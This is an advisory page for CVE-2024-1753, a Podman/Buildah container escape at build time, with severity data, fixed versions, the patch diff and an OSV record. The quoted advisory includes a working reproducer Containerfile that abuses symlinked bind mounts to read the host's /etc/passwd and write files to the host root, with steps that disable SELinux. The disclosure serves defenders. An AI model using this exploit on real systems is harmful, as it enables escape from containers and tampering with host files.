CVE-2024-1753: Github.com/containers/podman/v4 Podman Affected By CVE-2024-1753 Container Vulnerability

MODERATE
Advisory Identifier: GHSA-874v-pj72-92f3
CVSS 8.6
CWE-269 CWE-59
Published
Advisory Summary

CVE-2024-1753 is a MODERATE (CVSS 8.6) podman affected by cve-2024-1753 container vulnerability (CWE-269: Improper Privilege Management) affecting Github.com/containers/podman/v4 libraries in the Go ecosystem. The issue involves podman affected by cve-2024-1753 container escape at build time. Remediation is available by upgrading affected packages to version 4.9.4, 5.0.1.

CVE-2024-1753 at a Glance

CVE Identifier CVE-2024-1753
GHSA Identifier GHSA-874v-pj72-92f3
Severity MODERATE
CVSS v3.1 Base Score 8.6
CWE Classification CWE-269: Improper Privilege Management
Affected Product Github.com/containers/podman/v4
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-1753

To remediate this vulnerability, upgrade all affected Github.com/containers/podman/v4 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/containers/podman/v4 fixed: 4.9.4
Upgrade github.com/containers/podman/v4 to 4.9.4
github.com/containers/podman/v5 fixed: 5.0.1
Upgrade github.com/containers/podman/v5 to 5.0.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/containers/podman/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-1753, inspect your project dependencies for Github.com/containers/podman/v4:

inspect dependencies for github.com/containers/podman/v4

Analyze the terminal output to locate any version of Github.com/containers/podman/v4 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.9.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Github.com/containers/podman/v4, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman. ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Podman with the issue ``` setenforce 0 podman build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` podman rm -a podman rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 podman build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Podman. When running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown.

CVE-2024-1753 Affected Github.com/containers/podman/v4 Versions

2 component(s)
Fixed Versions:
4.9.45.0.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/containers/podman/v4
Go
< 4.9.4
4.9.4
github.com/containers/podman/v5
Go
< 5.0.1
5.0.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/containers/podman/security/advisories/GHSA-874v-pj72-92f3
GitHub Advisory / Wiki ADVISORY
https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf
NVD — CVE-2024-1753 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-1753
pkg.go.dev/vuln/go-2024-2658 WEB
https://pkg.go.dev/vuln/GO-2024-2658
lists.fedoraproject.org/archives/list/packa... WEB
https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZVBSVZGVABPYIHK5HZM472NPGWMI7WXH
lists.fedoraproject.org/archives/list/packa... WEB
https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYMVMQ7RWMDTSKQTBO734BE3WQPI2AJ
lists.fedoraproject.org/archives/list/packa... WEB
https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FCRZVUDOFM5CPREQKBEU2VK2QK62PSBP
Github.com/containers/podman/v4 Source Repository REPOSITORY
https://github.com/containers/podman
bugzilla.redhat.com/show_bug.cgi WEB
https://bugzilla.redhat.com/show_bug.cgi?id=2265513
Github.com/containers/podman/v4 Security Information SECURITY
https://access.redhat.com/security/cve/CVE-2024-1753
access.redhat.com/errata/rhsa-2024:32... WEB
https://access.redhat.com/errata/RHSA-2024:3254
access.redhat.com/errata/rhsa-2024:28... WEB
https://access.redhat.com/errata/RHSA-2024:2877
access.redhat.com/errata/rhsa-2024:27... WEB
https://access.redhat.com/errata/RHSA-2024:2784
access.redhat.com/errata/rhsa-2024:26... WEB
https://access.redhat.com/errata/RHSA-2024:2672
access.redhat.com/errata/rhsa-2024:26... WEB
https://access.redhat.com/errata/RHSA-2024:2669
access.redhat.com/errata/rhsa-2024:26... WEB
https://access.redhat.com/errata/RHSA-2024:2645
access.redhat.com/errata/rhsa-2024:25... WEB
https://access.redhat.com/errata/RHSA-2024:2548
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2098
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2097
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2090
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2089
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2084
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2077
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2066
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2064
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2055
access.redhat.com/errata/rhsa-2024:20... WEB
https://access.redhat.com/errata/RHSA-2024:2049

Frequently Asked Questions

What is CVE-2024-1753?
CVE-2024-1753 is a security vulnerability in Github.com/containers/podman/v4 involving Podman affected by CVE-2024-1753 container escape at build time under CWE-269: Improper Privilege Management.
Which Github.com/containers/podman/v4 versions are affected?
Affected versions include releases prior to 4.9.4, 5.0.1 across affected packages: github.com/containers/podman/v4, github.com/containers/podman/v5.
What version fixes CVE-2024-1753?
Upgrading to 4.9.4, 5.0.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/containers/podman/v4 affected?
Yes, github.com/containers/podman/v4 is affected in releases prior to 4.9.4. Upgrade your dependency to 4.9.4 or later.
Is github.com/containers/podman/v5 affected?
Yes, github.com/containers/podman/v5 is affected in releases prior to 5.0.1. Upgrade your dependency to 5.0.1 or later.
What is the CVSS score of CVE-2024-1753?
CVE-2024-1753 has a CVSS v3.1 base score of 8.6 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2024-1753?
CVE-2024-1753 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check Go dependencies for CVE-2024-1753?
Run the dependency tree command: 'inspect dependencies for github.com/containers/podman/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-874v-pj72-92f3",
  "modified" : "2024-11-26T21:42:56Z",
  "published" : "2024-03-28T17:53:52Z",
  "aliases" : [ "CVE-2024-1753" ],
  "summary" : "Podman affected by CVE-2024-1753 container escape at build time ",
  "details" : "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled.  With selinux enabled, some read access is allowed.\n\n### Patches\nFrom @nalind .  This is a patch for Buildah (https://github.com/containers/buildah).  Once fixed there, Buildah will be vendored into Podman.\n\n```\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \t\"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \t\"github.com/containers/buildah/define\"\n \t\"github.com/containers/buildah/internal\"\n \tinternalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n```\n### Reproducer\n\nPrior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor.   Also create a memorably named file in `/`.  Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`.  After testing, remember to remove both the file and the user from your system.\n\nUse the following Containerfile\n\n```\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n```\n\n#### To Test\n\n##### Testing with an older version of Podman with the issue\n```\nsetenforce 0\npodman build -f ~/cve_Containerfile .\n```\n\nAs part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created.  In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed.  Be sure to remove those two files between tests.  \n\n```\npodman rm -a\npodman rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\npodman build -f ~/cve_Containerfile .\n```\nNeither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created.  An error should be raised during the build when both files are trying to be created.  Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file.  \n\nHowever, the files in both the `/` and `/etc` directories on the host system will be displayed.\n\n##### Testing with the patch\n\nUse the same commands as testing with an older version of Podman.\n\nWhen running using the patched version of Podman, regardless of the `setenforce` settings,  you should not see the file that you created or the user that you added.  Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.\n\nNOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system.  Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.\n\n\n### Workarounds\nEnsure selinux controls are in place to avoid compromising sensitive system files and systems.  With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit.  With \"setenfoce 1\" set, which is the recommendation, files can not be changed.  However, the contents of the `/` directory can be displayed.  I.e., `ls -alF /` will show the contents of the host directory.\n\n### References\n\nUnknown.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/containers/podman/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.9.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/containers/podman/v5"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/containers/podman/security/advisories/GHSA-874v-pj72-92f3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-1753"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-2658"
  }, {
    "type" : "WEB",
    "url" : "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZVBSVZGVABPYIHK5HZM472NPGWMI7WXH"
  }, {
    "type" : "WEB",
    "url" : "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYMVMQ7RWMDTSKQTBO734BE3WQPI2AJ"
  }, {
    "type" : "WEB",
    "url" : "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FCRZVUDOFM5CPREQKBEU2VK2QK62PSBP"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/containers/podman"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2265513"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2024-1753"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:3254"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2877"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2784"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2672"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2669"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2645"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2548"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2098"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2097"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2090"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2089"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2084"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2077"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2066"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2064"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2055"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:2049"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269", "CWE-59" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-28T17:53:52Z",
    "nvd_published_at" : "2024-03-18T15:15:41Z"
  }
}